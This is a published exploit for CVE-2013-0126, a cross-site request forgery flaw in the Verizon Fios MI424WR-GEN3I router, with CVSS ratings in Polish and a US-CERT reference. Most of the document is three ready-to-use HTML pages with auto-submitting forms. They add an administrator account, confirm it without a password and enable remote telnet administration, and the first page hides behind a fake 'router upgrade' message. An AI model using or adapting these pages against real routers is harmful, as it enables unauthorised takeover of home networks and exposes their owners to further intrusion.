Verizon Fios Router MI424WR-GEN3I CSRF

2013.03.20

Credit: Jacob Holcomb

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2013-0126

CWE: CWE-352

Ogólna skala CVSS: 6.8/10

Znaczenie: 6.4/10

Łatwość wykorzystania: 8.6/10

Wymagany dostęp: Zdalny

Złożoność ataku: Średnia

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Częściowy

Wpływ na dostępność: Częściowy

# Exploit Title: Verizon Fios Router CSRF Admin Shell
# Date: Discovered and reported January 2013
# Author: Jacob Holcomb/Gimppy - Security Analyst @ Independent Security Evaluators
# Software: Verizon FIOS Router - Firmware 40.19.36 (http://verizon.com)
# CVE: CVE-2013-0126
# Advisory/Video: http://infosec42.blogspot.com/2013/03/verizon-fios-router-csrf-cve-2013-0126.html
 
US CERT Disclosure: http://www.kb.cert.org/vuls/id/278204
 
Exploit Code:
 
HTML FILE #1
 
<html>
<title>Cisco Verizon FIOS CSRF - Adding Administrator User</title>
<!--Cisco Model: MI424WR-GEN3I -->
<!--Firmware Version: 40.19.36 -->
<h1>Please sit tight while we upgrade your router</h1>
 
<body>
 
<form name="verizonCisco" action="http://192.168.1.1/index.cgi" method="post">
<input type="hidden" name="active_page" value="101"/>
<input type="hidden" name="page_title" value="User Settings"/>
<input type="hidden" name="mimic_button_field" value="submit_button_submit: .."/>
<input type="hidden" name="button_value" value="."/>
<input type="hidden" name="strip_page_top" value="0"/>
<input type="hidden" name="user_id" value="-1"/>
<input type="hidden" name="fullname_defval" value=""/>
<input type="hidden" name="fullname" value="g42"/>
<input type="hidden" name="username_defval" value=""/>
<input type="hidden" name="username" value="G42"/>
<input type="hidden" name="user_level" value="2"/>
<input type="hidden" name="email_system_notify_level" value="15"/>
<input type="hidden" name="email_security_notify_level" value="15"/>
</form>
 
<script>
function CSRF1() {window.open("http://10.0.1.101/verizonFIOS2.html");};window.setTimeout(CSRF1,1000)
function CSRF2() {document.verizonCisco.submit();};window.setTimeout(CSRF2,1000)
</script>
 
</body>
</html>
 
HTML FILE #2
 
<html>
<title>Cisco Verizon FIOS CSRF2 - Add User w/ No Pass Confirmation</title>
 
<body>
 
<form name="verizonCiscoC" action="http://192.168.1.1/index.cgi" method="post">
<input type="hidden" name="active_page" value="101"/>
<input type="hidden" name="page_title" value="User Settings"/>
<input type="hidden" name="mimic_button_field" value="submit_button_confirm_submit: .."/>
<input type="hidden" name="button_value" value="."/>
<input type="hidden" name="strip_page_top" value="0"/>
</form>
 
<script>
function CSRF1() {window.open("http://10.0.1.101/verizonFIOS3.html");};window.setTimeout(CSRF1,0500)
function CSRF2() {document.verizonCiscoC.submit();};window.setTimeout(CSRF2,0500)
</script>
 
</body>
</html>
 
HTML FILE #3
 
 <html>
<title>Cisco Verizon FIOS CSRF3 - Enable Remote Administration</title>
 
<body>
 
<form name="verizonCiscoRemote" action="http://192.168.1.1/index.cgi" method="post">
<input type="hidden" name="active_page" value="9078"/>
<input type="hidden" name="active_page_str" value="page_remote_admin"/>
<input type="hidden" name="page_title" value="Remote Administration"/>
<input type="hidden" name="mimic_button_field" value="submit_button_submit: .."/>
<input type="hidden" name="button_value" value=""/>
<input type="hidden" name="strip_page_top" value="0"/>
<input type="hidden" name="is_telnet_primary" value="1"/>
<input type="hidden" name="is_telnet_primary_defval" value="0"/>
<input type="hidden" name="is_telnet_secondary_defval" value="0"/>
<input type="hidden" name="is_telnet_ssl_defval" value="0"/>
<input type="hidden" name="is_http_primary_defval" value="0"/>
<input type="hidden" name="is_http_secondary_defval" value="0"/>
<input type="hidden" name="is_https_primary_defval" value="0"/>
<input type="hidden" name="is_https_secondary_defval" value="0"/>
<input type="hidden" name="is_diagnostics_icmp_defval" value="0"/>
<input type="hidden" name="is_diagnostics_traceroute_defval" value="0"/>
<input type="hidden" name="is_telnet_secondary" value="1"/>
</form>
 
<script>
function CSRF1() {document.verizonCiscoRemote.submit();};window.setTimeout(CSRF1,0000)
</script>
 
</body>
</html>

Referencje:

http://www.kb.cert.org/vuls/id/278204

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Verizon Fios Router MI424WR-GEN3I CSRF

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